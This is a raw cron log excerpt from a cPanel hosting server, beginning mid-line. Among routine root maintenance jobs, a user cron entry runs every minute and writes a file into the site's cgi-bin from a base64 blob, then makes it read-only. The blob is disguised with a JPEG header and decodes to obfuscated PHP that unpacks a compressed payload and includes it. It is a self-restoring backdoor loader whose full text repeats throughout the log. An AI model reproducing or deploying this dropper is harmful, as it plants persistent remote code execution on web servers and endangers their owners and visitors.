5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:26:01 server CROND[32469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:26:01 server CROND[32470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:26:01 server CROND[32471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:27:01 server CROND[419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:27:01 server CROND[420]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 05:27:01 server CROND[421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:27:01 server CROND[422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:28:01 server CROND[834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:28:01 server CROND[835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:28:01 server CROND[833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:29:01 server CROND[1299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:29:01 server CROND[1300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:29:01 server CROND[1301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:30:01 server CROND[1788]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:30:01 server CROND[1790]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 05:30:01 server CROND[1791]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:30:01 server CROND[1792]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 05:30:01 server CROND[1797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:30:01 server CROND[1799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:30:01 server CROND[1798]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 05:30:01 server CROND[1801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:30:01 server CROND[1800]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  9 05:31:01 server CROND[2727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:31:01 server CROND[2728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:31:01 server CROND[2729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:32:01 server CROND[3112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:32:01 server CROND[3113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:32:01 server CROND[3115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:33:01 server CROND[3500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:33:01 server CROND[3502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:33:01 server CROND[3501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:34:01 server CROND[3872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:34:01 server CROND[3873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:34:01 server CROND[3874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:35:01 server CROND[4274]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 05:35:01 server CROND[4276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:35:01 server CROND[4281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:35:01 server CROND[4279]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:35:01 server CROND[4280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:35:01 server CROND[4282]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 05:35:01 server CROND[4283]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:35:01 server CROND[4287]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 05:35:01 server CROND[4288]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 05:36:01 server CROND[5223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:36:01 server CROND[5224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:36:01 server CROND[5226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:37:01 server CROND[5614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:37:01 server CROND[5616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 05:37:01 server CROND[5615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:38:01 server CROND[6003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
